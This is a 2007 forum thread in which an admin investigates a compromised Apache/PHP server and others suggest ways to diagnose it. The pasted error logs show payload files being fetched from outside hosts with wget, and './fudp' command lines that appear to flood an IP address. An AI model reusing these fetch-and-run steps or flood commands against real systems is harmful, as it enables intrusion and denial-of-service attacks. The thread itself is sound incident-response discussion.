Apache Executes Script after "restart"

R

Root

Verified User
Joined
Jun 14, 2004
Messages
19
Awhile back I had found a directory created in the /temp directory that contained an IRC Eggdrop bot. Searching around for this specific Eggdrop FServ bot version told me that a few people have had it pop up and execute on their systems via a phpBB2 exploit.

I had ran Bastille to harden up my server a bit after removing the Eggdrop. Now nothing has re-appeared in my /temp folder that is out of the ordinary.

However, Apache 2.x has been crashing "randomly", even after recompiles. So looking into the Error logs I find:

Code: 
[Tue May 01 07:22:01 2007] [notice] Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.8d PHP/4.4.6 FrontPage/5.0.2.2634 configured -- resuming normal operations
sh: fetch: command not found
--08:11:05--  http://efardella.cinet.it/claroline/work/bras.txt
           => `bras.txt'
Resolving efardella.cinet.it... 212.131.214.212
Connecting to efardella.cinet.it|212.131.214.212|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,051 (19K) [text/plain]

    0K .......... ........                                   100%   18.07 KB/s

08:11:11 (18.07 KB/s) - `bras.txt' saved [19051/19051]

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  6 19051    6  1218    0     0   2761      0  0:00:06 --:--:--  0:00:06  2761
 52 19051   52  9906    0     0  11436      0  0:00:01 --:--:--  0:00:01 20394
100 19051  100 19051    0     0  19006      0  0:00:01  0:00:01 --:--:-- 31731

Code: 
[Tue May 01 19:22:02 2007] [notice] caught SIGTERM, shutting down
sh: line 1:  8120 Killed                  ./fudp -d 74.53.69.195 -z 20 -t 2000 -p 80 2>&1 3>&1
sh: line 1:  8291 Killed                  ./fudp -d 74.53.69.195 -z 20 -t 40000 -p 80 2>&1 3>&1

And then:

Code: 
Tue May 01 18:22:01 2007] [notice] Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.8d PHP/4.4.6 FrontPage/5.0.2.2634 configured -- resuming normal operations
--18:25:16--  http://www.freewebs.com/guilherme182/pkt.txt
           => `pkt.txt'
Resolving www.freewebs.com... 38.103.0.2
Connecting to www.freewebs.com|38.103.0.2|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18,982 (19K) [text/plain]

    0K .......... ........                                   100%  226.68 KB/s

18:25:21 (226.68 KB/s) - `pkt.txt' saved [18982/18982]

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  5 18982    5  1181    0     0  12648      0  0:00:01 --:--:--  0:00:01 12648
100 18982  100 18982    0     0  91927      0 --:--:-- --:--:-- --:--:--  153k
sh: fetch: command not found
sh: line 1:  5597 Killed                  ./fudp -d 74.53.69.195 -z 20 -t 80 -p 0 2>&1 3>&1
[Tue May 01 19:21:03 2007] [notice] SIGHUP received.  Attempting to restart

Of course some IRC Perl bot. I'm pretty certain that these are left-over from the phpBB2 exploited temp directory. I don't think its active, as I don't see any other users on the shell using anything during these times (doesn't rule out a rootkit of course), however I've ran chkroot and rkhunter and they didn't find anything. Also, my datacenter's switch filters out all IRC traffic anyway, so it hasn't exactly been useful for them.

Any ideas on at least how to stop Apache from executing these shell commands, or at least where to find out what is going on? I've just never heard of Apache doing this before.

Any help would be appreciated.
 
No ideas or anything at all? Does anyone at least have an idea of where to look to see where these files are being dropped off to? I tried using find / -name "pkt.txt" and such and never hit any returns.
 
do this as root:

Code: 
cd /
find / -name fudp -type f

Once you find that file, go into its parent directory and see what's in there besides that file. Also, check your cron jobs to make sure there's nothing running in there with the fudp command. Looks to me like that's the problem, but who knows.
 
Crons are clear. And yeah I got the same hit when I google the file name. I deleted it and it came back, so I created a shell script that just exits out and CHMOD'd it so that it shouldn't be able to be overwritten.

I found that it was in the /var/tmp directory.

Do you think this stuff is probably invoked through a CGI-bin?
 
Okay, let me understand this ... you're saying your server was most likely hacked, and when you delete a file it comes back?

While you may or may not ever figure out how to resolve this issue, which you can see, how about all the possible hacks that may be running on your server that you cannot see? The ones that are running invisible bots, sending spam invisibly, etc.?

I'd guess this server is a prime candidate for a complete rebuild. Once your server has been exploited the exploiter could have installed anything.

Jeff
 
floyd said:
Who is the owner of the file?
Click to expand...
Apache

While you may or may not ever figure out how to resolve this issue, which you can see, how about all the possible hacks that may be running on your server that you cannot see? The ones that are running invisible bots, sending spam invisibly, etc.?

I'd guess this server is a prime candidate for a complete rebuild. Once your server has been exploited the exploiter could have installed anything.
Click to expand...

While it is true that rootkits historically have been able to hide things such as users, processes, trim bashhistory and logs I see no more evidence of anything new being installed. They can only access Apache's owned files and directories.

No spam is outbound from any ports that I've been able to tell. The evidence for the bandwidth, email headers (going out), etc. just aren't there from what I can tell.

I locked down the /temp and /tmp, right after the exploitation took place, however, I didn't think about the /var/tmp/, which is where the fdup application was being executed from. Now it cannot be executed.

Apache does not have access to the gcc compiler or any of the other "system utilities" with the exception to what I would let most shell users have, which is nano/pico/vi/emacs, wget, touch, etc. There is nothing that can be run out of the chown'd hierarchy either. I would say that this problem is pretty much stuck within the parameters that Apache has rights for and a rootkit would be unsuccessful.

Since then there hasn't been any activity from Apache to download any new configs either, though this may just be a false indication of course.

This server isn't a production server or as soon as this would have taken place all backups would have been transferred to a new machine and monitored, while the old would have been reformatted before being brough back online.

I guess this is just more curiosity than anything. I've just never heard of Apache being used to do something exactly like this before and when I've done searches everyone's answer was always "reformat." And since this server is of all that much importance other than a few personal projects of mine, then I'd just like to track this down.
 
If the owner of the file is apache (not Apache) then it is probably the result of a php exploit. Did you search pkt.txt and bras.txt as well?

If the owner really is Apache then you have a bigger problem. That means that somebody has added a user to the password file. The webserver user is apache not Apache. Somebody could have added Apache hoping to not get noticed.
 
Last edited:
Try this. Open up a shell, su to root, and type
Code: 
strace -c "program-that-shouldn't-be-running"

This will allow you to see whats going on with the program and see if anything else is calling it.

Sounds to me like you're deleting a symbolic link and not the real file. If you haven't done so, get chkrootkit and rkhunter. If you can't find them then I can put them on my website for you.
 
If the owner of the file is apache (not Apache) then it is probably the result of a php exploit. Did you search pkt.txt and bras.txt as well?

If the owner really is Apache then you have a bigger problem. That means that somebody has added a user to the password file. The webserver user is apache not Apache. Somebody could have added Apache hoping to not get noticed.
Click to expand...
One of the first things I did was check the ownership of the prior installed eggdrop bots from my first install and checked all the user accounts created. It was indeed Apache. I checked again with that fdup program and it was also Apache. No duplicate Apache usernames. As a matter of fact, no unauthorized usernames period.

I have attempted the search of those txt files already and came up with nothing. I am assuming the fdup processed and deleted them and that is why it was ran just after wgetting those configs.

Try this. Open up a shell, su to root, and type
Code:
strace -c "program-that-shouldn't-be-running"
This will allow you to see whats going on with the program and see if anything else is calling it.

Sounds to me like you're deleting a symbolic link and not the real file. If you haven't done so, get chkrootkit and rkhunter. If you can't find them then I can put them on my website for you.
Click to expand...

There is never anything to strace. Back when fdup would run it, it would not be running by the time I would get back to it. As I said, this isn't a production server, so I didn't really sit and wait for it. I'm assuming that when it attempted to connect to that IRC server and got a socket error, it then just exited out.

The fdup file wasn't a symlink. I did check. As a matter of fact when I overwrote and then CHMOD'd fdup it hasn't been overwritten.
 
You must log in or register to reply here.
Back
Top